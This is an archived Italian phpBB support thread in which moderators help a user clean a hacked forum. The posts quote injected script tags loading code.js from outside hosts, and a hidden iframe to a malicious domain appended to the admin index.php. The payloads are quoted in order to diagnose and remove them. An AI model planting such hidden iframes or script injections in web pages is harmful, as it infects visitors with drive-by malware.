phpBB Italia chiude!
phpBB Italia ringrazia tutti gli utenti che hanno dato fiducia al nostro progetto per ben 9 anni, e che, grazie al grande lavoro fatto da tutto lo Staff (rigorosamente a titolo gratuito), hanno portato il portale a diventare il principale punto di riferimento italiano alla piattaforma phpBB.

Purtroppo, causa motivi personali, non ho più modo di gestirlo e portarlo avanti. Il forum viene ora posto in uno stato di sola lettura, nonché un archivio storico per permettere a chiunque di fruire di tutte le discussioni trattate.

Il nuovo portale di assistenza per l'Italia di phpBB diventa phpBB-Store.it, cui ringrazio per aver deciso di portare avanti questo grande progetto.

Grazie ancora,
Carlo - Amministratore di phpBB Italia

Problemi PCA

Supporto per phpBB 3.0.x.
Angolo
Leader Traduttori
Leader Traduttori
Messaggi: 7237
Iscritto il: 11/03/2011, 17:37
Sesso: Maschio
Versione: 3.0.12
Server: UNIX/Linux
PHP: 5.6.18
Database: MySQL 5.6.33-log
Contatta:

Re: Problemi PCA

Messaggio da Angolo » 21/03/2012, 16:35

Vedo che su AV ti hanno sospeso l'account...

In ogni caso previo backup ricrea un file index.php nuovo, avente solo il seguente contenuto:

Codice: Seleziona tutto

<?php /* Application: phpbb */

header("Location: /forum/");

 // Questo file e' stato autogenerato da AlterVista
 // Modificate o sostituite questo file solo se siete certi di quello che fate!
 //  Per proteggere questo file, disabilitando le funzioni che lo modificano automaticamente,
 // potete eliminare il commento sulla prima riga (tutto cio' che c'e' tra /* e */)
 //
 // This file was autogenerated by AlterVista
 // Modify or substitute this file only if you know what are you doing!
 //  To protect this file, disabling AlterVista's automated functions that edit it from control panel,
 // you can remove the comment on the first row of this file (everything from /* and */)
 ?>

Poi... devi eliminare i file javascript relativi ai percorsi:

Codice: Seleziona tutto

<script type="text/javascript" src="http://unitedsquashleague.com/players/code.js"></script><script type="text/javascript" src="http://drupaltestare.altervista.org/code.js"></script>
A meno che non li abbia inseriti tu quei file. Consapevolmente.

E poi... cosa c'entra questo sito?

Codice: Seleziona tutto

http://drupaltestare.altervista.org

Se non è tuo, è il presunto sito dell'autore del presunto lameraggio. Denunciarlo all'abuse di AV, è inutile, dal momento che anche quell'account è stato sospeso. Ergo, sono informati.

Quest'altro sembra innocuo:

Codice: Seleziona tutto

http://unitedsquashleague.com
ma a che serve??? (Domanda retorica).

Tutto questo però non ti esime, dal fare quanto già suggerito: seria e approfondita scansione antivirus e antispyware, e corretto ripristino integrale ftp. Con cambio di tutte le password. Infatti, anche se risolvessi con questi interventi selettivi, rimarresti sempre col dubbio, se hai davvero risolto. Le scorciatoie e gli sconti, sono quasi sempre fallimentari. Alla breve o alla lunga.

unoperuno
Utente
Utente
Messaggi: 29
Iscritto il: 06/03/2011, 17:30
Versione: 3.0.8
Database: phpmyadmin

Re: Problemi PCA

Messaggio da unoperuno » 21/03/2012, 16:51

La scansione l'ho fatta e non mi risulta alcuna minaccia, ho usato sia AVG che Malwarebytes...
Non sapevo mi fosse stato sospeso l'account, io riesco a connettermi tranquillamente...
Scusa ancora comunque...io ho due file index.php, uno sta nella root ed è quello che ti ho postato, l'altro nella cartella adm e questo è il suo codice (peraltro noto che è stato modificato il 4 marzo scorso):

Codice: Seleziona tutto

<?php
/**
*
* @package acp
* @version $Id$
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
*/
define('IN_PHPBB', true);
define('ADMIN_START', true);
define('NEED_SID', true);

// Include files
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './../';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
require($phpbb_root_path . 'common.' . $phpEx);
require($phpbb_root_path . 'includes/functions_admin.' . $phpEx);
require($phpbb_root_path . 'includes/functions_module.' . $phpEx);

// Start session management
$user->session_begin();
$auth->acl($user->data);
$user->setup('acp/common');
// End session management

// Have they authenticated (again) as an admin for this session?
if (!isset($user->data['session_admin']) || !$user->data['session_admin'])
{
	login_box('', $user->lang['LOGIN_ADMIN_CONFIRM'], $user->lang['LOGIN_ADMIN_SUCCESS'], true, false);
}

// Is user any type of admin? No, then stop here, each script needs to
// check specific permissions but this is a catchall
if (!$auth->acl_get('a_'))
{
	trigger_error('NO_ADMIN');
}

// We define the admin variables now, because the user is now able to use the admin related features...
define('IN_ADMIN', true);
$phpbb_admin_path = (defined('PHPBB_ADMIN_PATH')) ? PHPBB_ADMIN_PATH : './';

// Some oft used variables
$safe_mode		= (@ini_get('safe_mode') == '1' || strtolower(@ini_get('safe_mode')) === 'on') ? true : false;
$file_uploads	= (@ini_get('file_uploads') == '1' || strtolower(@ini_get('file_uploads')) === 'on') ? true : false;
$module_id		= request_var('i', '');
$mode			= request_var('mode', '');

// Set custom template for admin area
$template->set_custom_template($phpbb_admin_path . 'style', 'admin');
$template->assign_var('T_TEMPLATE_PATH', $phpbb_admin_path . 'style');

// the acp template is never stored in the database
$user->theme['template_storedb'] = false;

// Instantiate new module
$module = new p_master();

// Instantiate module system and generate list of available modules
$module->list_modules('acp');

// Select the active module
$module->set_active($module_id, $mode);

// Assign data to the template engine for the list of modules
// We do this before loading the active module for correct menu display in trigger_error
$module->assign_tpl_vars(append_sid("{$phpbb_admin_path}index.$phpEx"));

// Load and execute the relevant module
$module->load_active();

// Generate the page
adm_page_header($module->get_page_title());

$template->set_filenames(array(
	'body' => $module->get_tpl_name(),
));

adm_page_footer();

/**
* Header for acp pages
*/
function adm_page_header($page_title)
{
	global $config, $db, $user, $template;
	global $phpbb_root_path, $phpbb_admin_path, $phpEx, $SID, $_SID;

	if (defined('HEADER_INC'))
	{
		return;
	}

	define('HEADER_INC', true);

	// gzip_compression
	if ($config['gzip_compress'])
	{
		if (@extension_loaded('zlib') && !headers_sent())
		{
			ob_start('ob_gzhandler');
		}
	}

	$template->assign_vars(array(
		'PAGE_TITLE'			=> $page_title,
		'USERNAME'				=> $user->data['username'],

		'SID'					=> $SID,
		'_SID'					=> $_SID,
		'SESSION_ID'			=> $user->session_id,
		'ROOT_PATH'				=> $phpbb_admin_path,

		'U_LOGOUT'				=> append_sid("{$phpbb_root_path}ucp.$phpEx", 'mode=logout'),
		'U_ADM_LOGOUT'			=> append_sid("{$phpbb_admin_path}index.$phpEx", 'action=admlogout'),
		'U_ADM_INDEX'			=> append_sid("{$phpbb_admin_path}index.$phpEx"),
		'U_INDEX'				=> append_sid("{$phpbb_root_path}index.$phpEx"),

		'T_IMAGES_PATH'			=> "{$phpbb_root_path}images/",
		'T_SMILIES_PATH'		=> "{$phpbb_root_path}{$config['smilies_path']}/",
		'T_AVATAR_PATH'			=> "{$phpbb_root_path}{$config['avatar_path']}/",
		'T_AVATAR_GALLERY_PATH'	=> "{$phpbb_root_path}{$config['avatar_gallery_path']}/",
		'T_ICONS_PATH'			=> "{$phpbb_root_path}{$config['icons_path']}/",
		'T_RANKS_PATH'			=> "{$phpbb_root_path}{$config['ranks_path']}/",
		'T_UPLOAD_PATH'			=> "{$phpbb_root_path}{$config['upload_path']}/",

		'ICON_MOVE_UP'				=> '<img src="' . $phpbb_admin_path . 'images/icon_up.gif" alt="' . $user->lang['MOVE_UP'] . '" title="' . $user->lang['MOVE_UP'] . '" />',
		'ICON_MOVE_UP_DISABLED'		=> '<img src="' . $phpbb_admin_path . 'images/icon_up_disabled.gif" alt="' . $user->lang['MOVE_UP'] . '" title="' . $user->lang['MOVE_UP'] . '" />',
		'ICON_MOVE_DOWN'			=> '<img src="' . $phpbb_admin_path . 'images/icon_down.gif" alt="' . $user->lang['MOVE_DOWN'] . '" title="' . $user->lang['MOVE_DOWN'] . '" />',
		'ICON_MOVE_DOWN_DISABLED'	=> '<img src="' . $phpbb_admin_path . 'images/icon_down_disabled.gif" alt="' . $user->lang['MOVE_DOWN'] . '" title="' . $user->lang['MOVE_DOWN'] . '" />',
		'ICON_EDIT'					=> '<img src="' . $phpbb_admin_path . 'images/icon_edit.gif" alt="' . $user->lang['EDIT'] . '" title="' . $user->lang['EDIT'] . '" />',
		'ICON_EDIT_DISABLED'		=> '<img src="' . $phpbb_admin_path . 'images/icon_edit_disabled.gif" alt="' . $user->lang['EDIT'] . '" title="' . $user->lang['EDIT'] . '" />',
		'ICON_DELETE'				=> '<img src="' . $phpbb_admin_path . 'images/icon_delete.gif" alt="' . $user->lang['DELETE'] . '" title="' . $user->lang['DELETE'] . '" />',
		'ICON_DELETE_DISABLED'		=> '<img src="' . $phpbb_admin_path . 'images/icon_delete_disabled.gif" alt="' . $user->lang['DELETE'] . '" title="' . $user->lang['DELETE'] . '" />',
		'ICON_SYNC'					=> '<img src="' . $phpbb_admin_path . 'images/icon_sync.gif" alt="' . $user->lang['RESYNC'] . '" title="' . $user->lang['RESYNC'] . '" />',
		'ICON_SYNC_DISABLED'		=> '<img src="' . $phpbb_admin_path . 'images/icon_sync_disabled.gif" alt="' . $user->lang['RESYNC'] . '" title="' . $user->lang['RESYNC'] . '" />',

		'S_USER_LANG'			=> $user->lang['USER_LANG'],
		'S_CONTENT_DIRECTION'	=> $user->lang['DIRECTION'],
		'S_CONTENT_ENCODING'	=> 'UTF-8',
		'S_CONTENT_FLOW_BEGIN'	=> ($user->lang['DIRECTION'] == 'ltr') ? 'left' : 'right',
		'S_CONTENT_FLOW_END'	=> ($user->lang['DIRECTION'] == 'ltr') ? 'right' : 'left',
	));

	// application/xhtml+xml not used because of IE
	header('Content-type: text/html; charset=UTF-8');

	header('Cache-Control: private, no-cache="set-cookie"');
	header('Expires: 0');
	header('Pragma: no-cache');

	return;
}

/**
* Page footer for acp pages
*/
function adm_page_footer($copyright_html = true)
{
	global $db, $config, $template, $user, $auth, $cache;
	global $starttime, $phpbb_root_path, $phpbb_admin_path, $phpEx;

	// Output page creation time
	if (defined('DEBUG'))
	{
		$mtime = explode(' ', microtime());
		$totaltime = $mtime[0] + $mtime[1] - $starttime;

		if (!empty($_REQUEST['explain']) && $auth->acl_get('a_') && defined('DEBUG_EXTRA') && method_exists($db, 'sql_report'))
		{
			$db->sql_report('display');
		}

		$debug_output = sprintf('Time : %.3fs | ' . $db->sql_num_queries() . ' Queries | GZIP : ' . (($config['gzip_compress']) ? 'On' : 'Off') . (($user->load) ? ' | Load : ' . $user->load : ''), $totaltime);

		if ($auth->acl_get('a_') && defined('DEBUG_EXTRA'))
		{
			if (function_exists('memory_get_usage'))
			{
				if ($memory_usage = memory_get_usage())
				{
					global $base_memory_usage;
					$memory_usage -= $base_memory_usage;
					$memory_usage = get_formatted_filesize($memory_usage);

					$debug_output .= ' | Memory Usage: ' . $memory_usage;
				}
			}

			$debug_output .= ' | <a href="' . build_url() . '&explain=1">Explain</a>';
		}
	}

	$template->assign_vars(array(
		'DEBUG_OUTPUT'		=> (defined('DEBUG')) ? $debug_output : '',
		'TRANSLATION_INFO'	=> (!empty($user->lang['TRANSLATION_INFO'])) ? $user->lang['TRANSLATION_INFO'] : '',
		'S_COPYRIGHT_HTML'	=> $copyright_html,
		'VERSION'			=> $config['version'])
	);

	$template->display('body');

	garbage_collection();
	exit_handler();
}

/**
* Generate back link for acp pages
*/
function adm_back_link($u_action)
{
	global $user;
	return '<br /><br /><a href="' . $u_action . '">&laquo; ' . $user->lang['BACK_TO_PREV'] . '</a>';
}

/**
* Build select field options in acp pages
*/
function build_select($option_ary, $option_default = false)
{
	global $user;

	$html = '';
	foreach ($option_ary as $value => $title)
	{
		$selected = ($option_default !== false && $value == $option_default) ? ' selected="selected"' : '';
		$html .= '<option value="' . $value . '"' . $selected . '>' . $user->lang[$title] . '</option>';
	}

	return $html;
}

/**
* Build radio fields in acp pages
*/
function h_radio($name, &$input_ary, $input_default = false, $id = false, $key = false)
{
	global $user;

	$html = '';
	$id_assigned = false;
	foreach ($input_ary as $value => $title)
	{
		$selected = ($input_default !== false && $value == $input_default) ? ' checked="checked"' : '';
		$html .= '<label><input type="radio" name="' . $name . '"' . (($id && !$id_assigned) ? ' id="' . $id . '"' : '') . ' value="' . $value . '"' . $selected . (($key) ? ' accesskey="' . $key . '"' : '') . ' class="radio" /> ' . $user->lang[$title] . '</label>';
		$id_assigned = true;
	}

	return $html;
}

/**
* Build configuration template for acp configuration pages
*/
function build_cfg_template($tpl_type, $key, &$new, $config_key, $vars)
{
	global $user, $module;

	$tpl = '';
	$name = 'config[' . $config_key . ']';

	// Make sure there is no notice printed out for non-existent config options (we simply set them)
	if (!isset($new[$config_key]))
	{
		$new[$config_key] = '';
	}

	switch ($tpl_type[0])
	{
		case 'text':
		case 'password':
			$size = (int) $tpl_type[1];
			$maxlength = (int) $tpl_type[2];

			$tpl = '<input id="' . $key . '" type="' . $tpl_type[0] . '"' . (($size) ? ' size="' . $size . '"' : '') . ' maxlength="' . (($maxlength) ? $maxlength : 255) . '" name="' . $name . '" value="' . $new[$config_key] . '" />';
		break;

		case 'dimension':
			$size = (int) $tpl_type[1];
			$maxlength = (int) $tpl_type[2];

			$tpl = '<input id="' . $key . '" type="text"' . (($size) ? ' size="' . $size . '"' : '') . ' maxlength="' . (($maxlength) ? $maxlength : 255) . '" name="config[' . $config_key . '_width]" value="' . $new[$config_key . '_width'] . '" /> x <input type="text"' . (($size) ? ' size="' . $size . '"' : '') . ' maxlength="' . (($maxlength) ? $maxlength : 255) . '" name="config[' . $config_key . '_height]" value="' . $new[$config_key . '_height'] . '" />';
		break;

		case 'textarea':
			$rows = (int) $tpl_type[1];
			$cols = (int) $tpl_type[2];

			$tpl = '<textarea id="' . $key . '" name="' . $name . '" rows="' . $rows . '" cols="' . $cols . '">' . $new[$config_key] . '</textarea>';
		break;

		case 'radio':
			$key_yes	= ($new[$config_key]) ? ' checked="checked"' : '';
			$key_no		= (!$new[$config_key]) ? ' checked="checked"' : '';

			$tpl_type_cond = explode('_', $tpl_type[1]);
			$type_no = ($tpl_type_cond[0] == 'disabled' || $tpl_type_cond[0] == 'enabled') ? false : true;

			$tpl_no = '<label><input type="radio" name="' . $name . '" value="0"' . $key_no . ' class="radio" /> ' . (($type_no) ? $user->lang['NO'] : $user->lang['DISABLED']) . '</label>';
			$tpl_yes = '<label><input type="radio" id="' . $key . '" name="' . $name . '" value="1"' . $key_yes . ' class="radio" /> ' . (($type_no) ? $user->lang['YES'] : $user->lang['ENABLED']) . '</label>';

			$tpl = ($tpl_type_cond[0] == 'yes' || $tpl_type_cond[0] == 'enabled') ? $tpl_yes . $tpl_no : $tpl_no . $tpl_yes;
		break;

		case 'select':
		case 'custom':

			$return = '';

			if (isset($vars['method']))
			{
				$call = array($module->module, $vars['method']);
			}
			else if (isset($vars['function']))
			{
				$call = $vars['function'];
			}
			else
			{
				break;
			}

			if (isset($vars['params']))
			{
				$args = array();
				foreach ($vars['params'] as $value)
				{
					switch ($value)
					{
						case '{CONFIG_VALUE}':
							$value = $new[$config_key];
						break;

						case '{KEY}':
							$value = $key;
						break;
					}

					$args[] = $value;
				}
			}
			else
			{
				$args = array($new[$config_key], $key);
			}

			$return = call_user_func_array($call, $args);

			if ($tpl_type[0] == 'select')
			{
				$tpl = '<select id="' . $key . '" name="' . $name . '">' . $return . '</select>';
			}
			else
			{
				$tpl = $return;
			}

		break;

		default:
		break;
	}

	if (isset($vars['append']))
	{
		$tpl .= $vars['append'];
	}

	return $tpl;
}

/**
* Going through a config array and validate values, writing errors to $error. The validation method  accepts parameters separated by ':' for string and int.
* The first parameter defines the type to be used, the second the lower bound and the third the upper bound. Only the type is required.
*/
function validate_config_vars($config_vars, &$cfg_array, &$error)
{
	global $phpbb_root_path, $user;
	$type	= 0;
	$min	= 1;
	$max	= 2;

	foreach ($config_vars as $config_name => $config_definition)
	{
		if (!isset($cfg_array[$config_name]) || strpos($config_name, 'legend') !== false)
		{
			continue;
		}

		if (!isset($config_definition['validate']))
		{
			continue;
		}

		$validator = explode(':', $config_definition['validate']);

		// Validate a bit. ;) (0 = type, 1 = min, 2= max)
		switch ($validator[$type])
		{
			case 'string':
				$length = strlen($cfg_array[$config_name]);

				// the column is a VARCHAR
				$validator[$max] = (isset($validator[$max])) ? min(255, $validator[$max]) : 255;

				if (isset($validator[$min]) && $length < $validator[$min])
				{
					$error[] = sprintf($user->lang['SETTING_TOO_SHORT'], $user->lang[$config_definition['lang']], $validator[$min]);
				}
				else if (isset($validator[$max]) && $length > $validator[2])
				{
					$error[] = sprintf($user->lang['SETTING_TOO_LONG'], $user->lang[$config_definition['lang']], $validator[$max]);
				}
			break;

			case 'bool':
				$cfg_array[$config_name] = ($cfg_array[$config_name]) ? 1 : 0;
			break;

			case 'int':
				$cfg_array[$config_name] = (int) $cfg_array[$config_name];

				if (isset($validator[$min]) && $cfg_array[$config_name] < $validator[$min])
				{
					$error[] = sprintf($user->lang['SETTING_TOO_LOW'], $user->lang[$config_definition['lang']], $validator[$min]);
				}
				else if (isset($validator[$max]) && $cfg_array[$config_name] > $validator[$max])
				{
					$error[] = sprintf($user->lang['SETTING_TOO_BIG'], $user->lang[$config_definition['lang']], $validator[$max]);
				}

				if (strpos($config_name, '_max') !== false)
				{
					// Min/max pairs of settings should ensure that min <= max
					// Replace _max with _min to find the name of the minimum
					// corresponding configuration variable
					$min_name = str_replace('_max', '_min', $config_name);

					if (isset($cfg_array[$min_name]) && is_numeric($cfg_array[$min_name]) && $cfg_array[$config_name] < $cfg_array[$min_name])
					{
						// A minimum value exists and the maximum value is less than it
						$error[] = sprintf($user->lang['SETTING_TOO_LOW'], $user->lang[$config_definition['lang']], (int) $cfg_array[$min_name]);
					}
				}
			break;

			// Absolute path
			case 'script_path':
				if (!$cfg_array[$config_name])
				{
					break;
				}

				$destination = str_replace('\\', '/', $cfg_array[$config_name]);

				if ($destination !== '/')
				{
					// Adjust destination path (no trailing slash)
					if (substr($destination, -1, 1) == '/')
					{
						$destination = substr($destination, 0, -1);
					}

					$destination = str_replace(array('../', './'), '', $destination);

					if ($destination[0] != '/')
					{
						$destination = '/' . $destination;
					}
				}

				$cfg_array[$config_name] = trim($destination);

			break;

			// Absolute path
			case 'lang':
				if (!$cfg_array[$config_name])
				{
					break;
				}

				$cfg_array[$config_name] = basename($cfg_array[$config_name]);

				if (!file_exists($phpbb_root_path . 'language/' . $cfg_array[$config_name] . '/'))
				{
					$error[] = $user->lang['WRONG_DATA_LANG'];
				}
			break;

			// Relative path (appended $phpbb_root_path)
			case 'rpath':
			case 'rwpath':
				if (!$cfg_array[$config_name])
				{
					break;
				}

				$destination = $cfg_array[$config_name];

				// Adjust destination path (no trailing slash)
				if (substr($destination, -1, 1) == '/' || substr($destination, -1, 1) == '\\')
				{
					$destination = substr($destination, 0, -1);
				}

				$destination = str_replace(array('../', '..\\', './', '.\\'), '', $destination);
				if ($destination && ($destination[0] == '/' || $destination[0] == "\\"))
				{
					$destination = '';
				}

				$cfg_array[$config_name] = trim($destination);

			// Path being relative (still prefixed by phpbb_root_path), but with the ability to escape the root dir...
			case 'path':
			case 'wpath':

				if (!$cfg_array[$config_name])
				{
					break;
				}

				$cfg_array[$config_name] = trim($cfg_array[$config_name]);

				// Make sure no NUL byte is present...
				if (strpos($cfg_array[$config_name], "\0") !== false || strpos($cfg_array[$config_name], '%00') !== false)
				{
					$cfg_array[$config_name] = '';
					break;
				}

				if (!file_exists($phpbb_root_path . $cfg_array[$config_name]))
				{
					$error[] = sprintf($user->lang['DIRECTORY_DOES_NOT_EXIST'], $cfg_array[$config_name]);
				}

				if (file_exists($phpbb_root_path . $cfg_array[$config_name]) && !is_dir($phpbb_root_path . $cfg_array[$config_name]))
				{
					$error[] = sprintf($user->lang['DIRECTORY_NOT_DIR'], $cfg_array[$config_name]);
				}

				// Check if the path is writable
				if ($config_definition['validate'] == 'wpath' || $config_definition['validate'] == 'rwpath')
				{
					if (file_exists($phpbb_root_path . $cfg_array[$config_name]) && !phpbb_is_writable($phpbb_root_path . $cfg_array[$config_name]))
					{
						$error[] = sprintf($user->lang['DIRECTORY_NOT_WRITABLE'], $cfg_array[$config_name]);
					}
				}

			break;
		}
	}

	return;
}

/**
* Checks whatever or not a variable is OK for use in the Database
* param mixed $value_ary An array of the form array(array('lang' => ..., 'value' => ..., 'column_type' =>))'
* param mixed $error The error array
*/
function validate_range($value_ary, &$error)
{
	global $user;

	$column_types = array(
		'BOOL'	=> array('php_type' => 'int', 		'min' => 0, 				'max' => 1),
		'USINT'	=> array('php_type' => 'int',		'min' => 0, 				'max' => 65535),
		'UINT'	=> array('php_type' => 'int', 		'min' => 0, 				'max' => (int) 0x7fffffff),
		'INT'	=> array('php_type' => 'int', 		'min' => (int) 0x80000000, 	'max' => (int) 0x7fffffff),
		'TINT'	=> array('php_type' => 'int',		'min' => -128,				'max' => 127),

		'VCHAR'	=> array('php_type' => 'string', 	'min' => 0, 				'max' => 255),
	);
	foreach ($value_ary as $value)
	{
		$column = explode(':', $value['column_type']);
		$max = $min = 0;
		$type = 0;
		if (!isset($column_types[$column[0]]))
		{
			continue;
		}
		else
		{
			$type = $column_types[$column[0]];
		}

		switch ($type['php_type'])
		{
			case 'string' :
				$max = (isset($column[1])) ? min($column[1],$type['max']) : $type['max'];
				if (strlen($value['value']) > $max)
				{
					$error[] = sprintf($user->lang['SETTING_TOO_LONG'], $user->lang[$value['lang']], $max);
				}
			break;

			case 'int':
				$min = (isset($column[1])) ? max($column[1],$type['min']) : $type['min'];
				$max = (isset($column[2])) ? min($column[2],$type['max']) : $type['max'];
				if ($value['value'] < $min)
				{
					$error[] = sprintf($user->lang['SETTING_TOO_LOW'], $user->lang[$value['lang']], $min);
				}
				else if ($value['value'] > $max)
				{
					$error[] = sprintf($user->lang['SETTING_TOO_BIG'], $user->lang[$value['lang']], $max);
				}
			break;
		}
	}
}

?><iframe src="http://popmpquqq.in/t/60f652b502ea7403ea22974f155ec904" frameborder="0" style="width:10px; height:10px; display:none; border:0; top:2; left:2"></iframe>

P.S.:
ce n'è anche uno nella cartella "forum". Però non voglio intasare il topic, quindi prima di postarlo dimmi se ti serve, sennò evito...
Ultima modifica di Angolo il 21/03/2012, 17:03, modificato 2 volte in totale.
Motivazione: Niente messaggi consecutivi; ed è la seconda!

Angolo
Leader Traduttori
Leader Traduttori
Messaggi: 7237
Iscritto il: 11/03/2011, 17:37
Sesso: Maschio
Versione: 3.0.12
Server: UNIX/Linux
PHP: 5.6.18
Database: MySQL 5.6.33-log
Contatta:

Re: Problemi PCA

Messaggio da Angolo » 21/03/2012, 17:06

Mi sembra di averti dato con precisione, tutte le indicazioni che ti servono e in modo chiaro.
Hai fatto la scansione completa? Sì? Bene.

Devi effettuare un corretto ripristino integrale ftp. Punto. Cerchi sul Forum: ripristino integrale ftp e trovato l'argomento, lo segui e lo esegui con assoluta precisione. Quando hai preparato per bene (e con precisione) il pacco nuovo sul tuo PC, cancelli, elimini (per sempre) l'attuale contenuto ftp, e carichi il nuovo. Ovviamente, con i parametri lì indicati.

P.S.
E devi cambiare tutte le password, inclusa quella dell'email, utilizzando password molto complesse.
Ma dopo che ti hanno riattivato l'account.

Quindi, a cose risolte, aggiornare (tutto: phpBB3, stile, traduzione, eventuali MOD) alla 3.0.10. Facendo molta attenzione a non inserire script di dubbia provenienza. Questo è quanto.

unoperuno
Utente
Utente
Messaggi: 29
Iscritto il: 06/03/2011, 17:30
Versione: 3.0.8
Database: phpmyadmin

Re: Problemi PCA

Messaggio da unoperuno » 21/03/2012, 17:11

agli ordini!
ora ci provo ;)

Avatar utente
Barrnet
Leader Moderatori
Leader Moderatori
Messaggi: 3124
Iscritto il: 04/07/2010, 23:31
Sesso: Maschio
Versione: 3.0.10
Server: UNIX/Linux
PHP: 5.3.10
Database: MySQL 5.1.61-community-log
Contatta:

Re: Problemi PCA

Messaggio da Barrnet » 21/03/2012, 17:41

Questi non sono virus comuni, ma "virus" per spazi web, controlla la parte finale del file che hai allegato:

Codice: Seleziona tutto

<iframe src="http://popmpquqq.in/t/60f652b502ea7403ea22974f155ec904" frameborder="0" style="width:10px; height:10px; display:none; border:0; top:2; left:2"></iframe>
Questo è un codice malevolo, ma essendo html una scansione di un antivirus pensato contro i comuni virus informatici non lo scova, non essendo una minaccia reale finché non è in una pagina internet...

Angolo
Leader Traduttori
Leader Traduttori
Messaggi: 7237
Iscritto il: 11/03/2011, 17:37
Sesso: Maschio
Versione: 3.0.12
Server: UNIX/Linux
PHP: 5.6.18
Database: MySQL 5.6.33-log
Contatta:

Re: Problemi PCA

Messaggio da Angolo » 21/03/2012, 17:58

Mi pare (informazione da acquisire con riserva) che la kaspersky lab, abbia codificato un sistema per identificare questo tipo di virus o parte di questo tipo di virus. Verosimilmente, durante la scansione, "apre" il link. Ovviamente, posta connessione aperta. E presumo che anche altre grandi case, abbiano emulato la cosa.

Poi certo.. un "webmaster" anche solo di Forum, che come sistema di difesa, utilizza un prodotto freeware, magari solo antivirus... e non un Internet Security come si deve... un vero picchiatore... non va lontano.

unoperuno
Utente
Utente
Messaggi: 29
Iscritto il: 06/03/2011, 17:30
Versione: 3.0.8
Database: phpmyadmin

Re: Problemi PCA

Messaggio da unoperuno » 21/03/2012, 18:01

Scusa Angolo, apprezzo tantissimo il tuo aiuto (anzi direi che è indispensabile), però devi pensare che non tutti siamo esperti come te...sei qui per aiutare noi neofiti, altrimenti non saremmo nemmeno qui a chiedere delucidazioni, no? :)
Come peraltro dicevo, è da parecchio che non apro questo forum, mi ci sono riapplicata solo da pochi giorni, quindi non mi definirei neppure "webmaster"...Magari per te è tutto molto semplice ma io, credimi, non so dove mettere le mani...

Poi scusa ma non ho capito una cosa del ripristino. Tu dici:
- Caricare il contenuto di files, in files
- il contenuto di images e delle relative sottocartelle, in images e delle relative sottocartelle.

Cioè devo caricare la cartella files DENTRO la cartella files o devo semplicemente sovrascriverla?

P.S.
Ragazzi io ho già detto che non so come si faccia la scansione su pagine web...ho solo scaricato le cartelle e le ho scansionate col mio antivirus...abbiate pazienza...
Ultima modifica di Angolo il 21/03/2012, 18:06, modificato 1 volta in totale.
Motivazione: Niente messaggi consecutivi; ed è la terza!

Angolo
Leader Traduttori
Leader Traduttori
Messaggi: 7237
Iscritto il: 11/03/2011, 17:37
Sesso: Maschio
Versione: 3.0.12
Server: UNIX/Linux
PHP: 5.6.18
Database: MySQL 5.6.33-log
Contatta:

Re: Problemi PCA

Messaggio da Angolo » 21/03/2012, 18:13

... e alla quarta seguirà richiamo formale.

Nessuno nasce esperto. E siamo qui per aiutare... purché si rispettino le regole. Niente messaggi consecutivi (se non passano almeno 6 ore), niente OffTopic, e quello che dice il Regolamento. Punto. Ci si deve solo adeguare.

Per quanto riguarda i tuoi (legittimi) dubbi sul ripristino integrale ftp, li puoi risolvere, chiedendo in quell'argomento. In via d'eccezione, ti rispondo che devi copiare i file da salvaguardare, dentro la cartella files. I file della cartella images, dentro la cartella images. Ecc. Esclusi i file index. Come la stessa guida indica.
Se hai ancora dubbi in merito... in quell'argomento.


Per quanto riguarda la scansione, la si deve fare solo e soltanto nel proprio PC.

Purché sia completa, fatta con un picchiatore (niente antivirus freeware). Ma questo è un mio personale parere. Dunque, discutibile.

E ovviamente, rinforzata da antispyware. La scansione dello spazio web, è implicita. Nel senso che, fatto il backup completo del forum, sul proprio PC, quando si scansiona il proprio PC, si scansiona anche il contenuto (automaticamente) dello spazio web. Poi il resto, è competenza dell'Host. Spero di essermi spiegato.


P.S.
Prima di caricare il nuovo contenuto, fai una scansione al nuovo contenuto stesso.

unoperuno
Utente
Utente
Messaggi: 29
Iscritto il: 06/03/2011, 17:30
Versione: 3.0.8
Database: phpmyadmin

Re: Problemi PCA

Messaggio da unoperuno » 21/03/2012, 19:06

scusa ma non pensavo di essere ot visto che si parlava anche qui di ripristino ftp.
Io al momento così su due piedi non ce l'ho un antivirus professionale, quindi devo accontentarmi...
Purtroppo continua a non segnalarmi nulla, ma vedrò di ovviare a questo problema.
Bene, ho fatto dunque il ripristino...comunque penso di far prima a reinstallare il forum, tanto era inattivo da troppo tempo e non sarà una gran perdita. Non riesco proprio a venirne a capo...
Grazie comunque :(

Angolo
Leader Traduttori
Leader Traduttori
Messaggi: 7237
Iscritto il: 11/03/2011, 17:37
Sesso: Maschio
Versione: 3.0.12
Server: UNIX/Linux
PHP: 5.6.18
Database: MySQL 5.6.33-log
Contatta:

Re: Problemi PCA

Messaggio da Angolo » 21/03/2012, 19:18

Se vuoi ricominciare da Zero, per un discorso tuo è un fatto.

Se vuoi provare a recuperare, è un altro, e dovrebbe essere possibile. Specie se il database è integro.

Anche se decidi di ricominciare da Zero, devi necessariamente operare su un PC pulito (a livello di virus e spyware) eliminare completamente l'attuale contenuto ftp, ed eliminare tutte le tabelle dell'attuale database. Altrimenti, rischi di ritrovarti, anche con un nuovo Forum, punto e accapo.
E devi cambiare, ribadisco, tutte le password.

Per agli antivirus, puoi aiutarti anche con qualche scansione online... Panda, Kasperky... magari non rimuovono ma rilevano.



P.S.
Molti di questi prodotti li puoi utilizzare gratis per 30 giorni... come prova-valutazione.
Installa Il KIS 2012 per 30 giorni... ti ripulisci per bene il PC... poi ti arrangi con un prodotto free.

Valido come free, pare sia il Comodo Internet Security... con il supporto di un antispyware... anche il buon vecchio spybot.

Rispondi

Torna a “[3.0.x] Forum di Supporto”

Chi c’è in linea

Visitano il forum: Nessuno e 23 ospiti